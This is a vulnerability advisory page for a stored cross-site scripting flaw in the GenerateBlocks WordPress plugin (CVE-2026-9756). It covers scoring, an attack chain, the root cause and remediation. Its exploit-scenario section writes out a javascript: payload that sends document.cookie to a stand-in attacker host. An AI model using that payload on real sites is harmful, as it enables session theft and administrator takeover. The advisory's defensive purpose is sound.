Skip to main content

GenerateBlocks EUVDEUVD-2026-41522

| CVE-2026-9756 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-07-03 Wordfence GHSA-735g-4w2p-c7c6
6.4
CVSS 3.1 · Vendor: Wordfence
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain contributor-level WordPress account
  2. Delivery
    Store javascript: URI payload in profile description meta field
  3. Exploit
    Create post with Headline Block referencing own meta via linkMetaFieldType
  4. Install
    Publish or share injected page
  5. C2
    Victim (including admin) clicks rendered headline link
  6. Execute
    Attacker JavaScript executes in victim browser session
  7. Impact
    Exfiltrate session token or perform privileged admin action

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires contributor-level (or higher) authenticated access to the WordPress site - confirmed by CVSS PR:L. The attacker must have permission to create or edit posts/pages that use the GenerateBlocks Headline Block and must configure the linkMetaFieldType attribute to reference a user meta field they control. The javascript: bypass is enabled specifically by the get_safe_user_meta_keys() allowlist in class-dynamic-tag-security.php, which permits referencing contributor profile meta as a 'safe' source without validating the URI scheme of the resolved value. Exploitation is further conditioned on a victim user actively clicking the rendered headline link - passive page load is insufficient, as the payload is href-based, not an auto-executing inline script. Sites where contributor accounts are limited to trusted internal authors face near-zero realistic risk; the attack surface is meaningful only where untrusted or external contributors have posting rights.

Impact

The provided CVSS 3.1 score of 6.4 with vector AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N captures several key risk dimensions accurately but contains a notable inconsistency: the description explicitly states exploitation occurs 'when any user clicks the rendered headline link,' which is user-interactive behavior (UI:R), not UI:N. Correcting for UI:R reduces the base score to approximately 5.4. The scope change (S:C) is well-founded - a contributor executing JavaScript in an administrator's session can trigger privileged AJAX actions, potentially achieving full site compromise despite the Limited C/I impact ratings. No EPSS data was provided, and no CISA KEV listing exists, so active exploitation cannot be confirmed. Realistic risk is moderate-to-high for multi-author WordPress deployments (guest bloggers, client-managed sites) where contributor roles are granted to partially trusted or external users, and low for sites where contributor access is restricted to internal staff.

Exploit ScenarioDerived

A threat actor with contributor-level access stores a javascript:document.location='https://attacker.example/steal?c='+document.cookie payload in their WordPress profile description, which passes the get_safe_user_meta_keys() allowlist check. They then create or edit a page using the GenerateBlocks Headline Block, configuring linkMetaFieldType to reference their own profile meta field, causing the plugin to render a javascript:-prefixed href in the published page. When a site administrator clicks the injected headline link during routine content review, the JavaScript executes in the admin's authenticated browser session, enabling session token theft or unauthorized execution of privileged administrative actions.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 03, 2026

Stored XSS in the GenerateBlocks WordPress plugin (all versions through 2.2.1) allows contributor-level authenticated attackers to inject arbitrary JavaScript via the Headline Block's linkMetaFieldType dynamic link attribute, executing in the browser of any user - including site administrators - who clicks the injected headline link. The attack chains a get_safe_user_meta_keys() allowlist bypass with insufficient URI scheme validation to construct a fully attacker-controlled javascript: href. No CISA KEV listing exists at time of analysis, but Wordfence reporting and direct source code references lower the barrier to independent exploitation.

RemediationAI

Update GenerateBlocks to a version above 2.2.1 by installing the patched release via the WordPress plugin repository; the upstream fix is referenced at https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3582036%40generateblocks&new=3582036%40generateblocks. No exact patched release version number is confirmed in the available data - verify the current release in the WordPress admin dashboard or at wordpress.org/plugins/generateblocks before updating. As a compensating control prior to patching, restrict contributor-level role assignments exclusively to fully trusted users, eliminating the PR:L attack surface entirely; note this may impact multi-author publishing workflows. If the GenerateBlocks Headline Block's dynamic link feature (linkMetaFieldType) is not required operationally, disabling it via plugin settings or a capability filter reduces exposure without a full plugin removal.

Affected VersionsENISA

GenerateBlocks 0 ≤2.2.1

Affected Packages

euvd generateblocks no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

GenerateBlocks (CPE: cpe:2.3:a:edge22:generateblocks) is a WordPress Gutenberg page-builder plugin. The Headline Block supports dynamic link resolution via the linkMetaFieldType attribute, which fetches URLs from WordPress user meta fields at render time. The vulnerability originates across three files: class-headline.php (L809) constructs the href without URI scheme validation, class-dynamic-content.php (L816) resolves the meta field value without sanitization, and class-dynamic-tag-security.php (L582) implements get_safe_user_meta_keys() which allowlists certain profile meta fields - including the contributor's own profile description - as safe input sources. The root cause (CWE-79) is the absence of esc_url() or equivalent scheme-aware escaping on the resolved meta value before it is emitted as an href, allowing javascript: URIs to pass through unmodified and execute in victim browsers.

Know when Generateblocks gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (Wordfence) PRIMARY 6.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
vuln.today AI 5.4 MEDIUM

Description requires victim to click the headline link (UI:R not UI:N); scope change retained as contributor payload executes in admin session; C:L/I:L reflect limited but real cross-user impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (Wordfence).

CVSS VectorVendor: Wordfence

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The GenerateBlocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Headline Block 'linkMetaFieldType' Dynamic Link Attribute in all versions up to, and including, 2.2.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. A contributor-level attacker can store a JavaScript payload in their own profile description (allowlisted by get_safe_user_meta_keys()) and prepend 'javascript:' via the linkMetaFieldType attribute, creating a fully attacker-controlled href that executes when any user, including an administrator, clicks the rendered headline link.

Threat Intelligence Overview

EPSS Score
0.2%
Top 88% exploitable
Prevalence
Medium
popular WordPress block-builder plugin, widespread but not universal deployment
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy